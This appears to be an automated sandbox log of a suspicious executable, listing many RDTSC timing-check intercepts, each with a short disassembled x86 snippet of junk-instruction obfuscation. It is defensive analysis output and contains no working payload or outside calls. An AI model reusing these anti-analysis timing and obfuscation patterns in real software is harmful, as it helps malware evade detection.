Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561041 second address: 561045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561045 second address: 561049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561602 second address: 561620 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC51CCBAE86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FC51CCBAE8Ch 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561620 second address: 561632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CADF60Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561694 second address: 56169A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56169A second address: 5616EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FC51CADF608h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 call 00007FC51CADF611h 0x00000028 mov dword ptr [ebp+12455832h], ebx 0x0000002e pop edi 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FC51CADF60Bh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5616EA second address: 56170E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC51CCBAE91h 0x00000008 jmp 00007FC51CCBAE8Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FC51CCBAE8Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5618A9 second address: 5618B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5618B8 second address: 5618BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562AAA second address: 562AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF611h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5645E7 second address: 564663 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FC51CCBAE88h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov si, BF0Eh 0x00000028 mov di, 8112h 0x0000002c push 00000000h 0x0000002e sub esi, dword ptr [ebp+122D20DAh] 0x00000034 mov esi, 726D9931h 0x00000039 push 00000000h 0x0000003b mov esi, dword ptr [ebp+122D2142h] 0x00000041 call 00007FC51CCBAE97h 0x00000046 jmp 00007FC51CCBAE91h 0x0000004b pop edi 0x0000004c push eax 0x0000004d push edi 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5643DC second address: 5643EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5643EA second address: 5643EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5643EE second address: 5643F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565037 second address: 56503D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56503D second address: 56506E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push ecx 0x00000009 sbb edi, 1FECA206h 0x0000000f pop esi 0x00000010 or dword ptr [ebp+122D299Bh], ecx 0x00000016 push 00000000h 0x00000018 or esi, dword ptr [ebp+122D18ADh] 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D2966h], edx 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jl 00007FC51CADF606h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56506E second address: 565074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567C11 second address: 567C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5679AE second address: 5679B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567C15 second address: 567C1B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5679B3 second address: 5679B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 567C1B second address: 567C75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov di, D39Bh 0x0000000f sbb esi, 2BE79AA4h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FC51CADF608h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 stc 0x00000034 xchg eax, ebx 0x00000035 jmp 00007FC51CADF611h 0x0000003a push eax 0x0000003b pushad 0x0000003c pushad 0x0000003d push esi 0x0000003e pop esi 0x0000003f jnp 00007FC51CADF606h 0x00000045 popad 0x00000046 push esi 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568616 second address: 56861C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568448 second address: 568452 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC51CADF606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56861C second address: 568639 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC51CCBAE92h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568452 second address: 568467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CADF611h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568639 second address: 568697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a or esi, dword ptr [ebp+122D39CCh] 0x00000010 push 00000000h 0x00000012 or esi, 24550371h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FC51CCBAE88h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov edi, 4ABAF0F3h 0x00000039 mov esi, dword ptr [ebp+122D2DAAh] 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FC51CCBAE92h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568467 second address: 568486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF613h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A08A second address: 56A091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A091 second address: 56A0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FC51CADF606h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A0A3 second address: 56A0A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A0A7 second address: 56A0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B092 second address: 56B099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A1DF second address: 56A1E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B099 second address: 56B0B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A1E8 second address: 56A1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f ja 00007FC51CADF606h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B0B7 second address: 56B0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CCBAE99h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B0D5 second address: 56B0DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A2AD second address: 56A2B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A2B1 second address: 56A2BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A2BB second address: 56A2BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B2D2 second address: 56B2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B2D6 second address: 56B2DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C104 second address: 56C115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jne 00007FC51CADF606h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56DFC4 second address: 56DFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D0E5 second address: 56D0EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D1DD second address: 56D1E3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56D1E3 second address: 56D1E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56E185 second address: 56E208 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FC51CCBAE88h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c mov dword ptr [ebp+122D351Fh], ebx 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007FC51CCBAE88h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 sbb ebx, 6A407C5Fh 0x00000059 mov eax, dword ptr [ebp+122D0291h] 0x0000005f jmp 00007FC51CCBAE8Eh 0x00000064 push FFFFFFFFh 0x00000066 stc 0x00000067 nop 0x00000068 push eax 0x00000069 push edx 0x0000006a push esi 0x0000006b push ecx 0x0000006c pop ecx 0x0000006d pop esi 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5711FE second address: 571202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 571202 second address: 571206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 570289 second address: 570294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FC51CADF606h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5720E7 second address: 572134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE98h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bx, si 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 mov ebx, dword ptr [ebp+12447433h] 0x00000017 mov ebx, dword ptr [ebp+122D3844h] 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FC51CCBAE98h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572134 second address: 57213A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574010 second address: 574014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574014 second address: 574018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574FC5 second address: 574FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574FC9 second address: 574FE9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC51CADF606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC51CADF610h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5731FF second address: 573204 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5732FE second address: 573304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573304 second address: 573308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5742B1 second address: 5742B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577E58 second address: 577E68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577E68 second address: 577ED3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC51CADF60Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FC51CADF608h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007FC51CADF608h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 00000015h 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 jp 00007FC51CADF60Ch 0x00000049 mov edi, dword ptr [ebp+122D3814h] 0x0000004f xor ebx, dword ptr [ebp+122D3AE8h] 0x00000055 push 00000000h 0x00000057 mov ebx, esi 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577ED3 second address: 577EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC51CCBAE99h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582F82 second address: 582F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A629 second address: 51A62D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58299B second address: 5829A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5829A1 second address: 5829A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A77B second address: 58A7B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jne 00007FC51CADF608h 0x0000000f jmp 00007FC51CADF613h 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jnp 00007FC51CADF60Ah 0x0000001f push ebx 0x00000020 push edx 0x00000021 pop edx 0x00000022 pop ebx 0x00000023 mov eax, dword ptr [eax] 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 pop esi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EC2B second address: 58EC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ED7D second address: 58ED83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ED83 second address: 58ED87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ED87 second address: 58ED8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ED8B second address: 58ED9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007FC51CCBAE86h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58ED9B second address: 58EDA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EF4E second address: 58EF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EF59 second address: 58EF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58EF5D second address: 58EF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F0C4 second address: 58F0F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF60Dh 0x00000007 pushad 0x00000008 jmp 00007FC51CADF616h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F0F4 second address: 58F11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FC51CCBAE86h 0x0000000a jmp 00007FC51CCBAE91h 0x0000000f jmp 00007FC51CCBAE8Eh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F3A4 second address: 58F3A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5953C4 second address: 5953C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5953C8 second address: 5953D5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC51CADF606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594158 second address: 594163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594163 second address: 594167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594167 second address: 594171 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC51CCBAE86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594171 second address: 59417E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007FC51CADF606h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
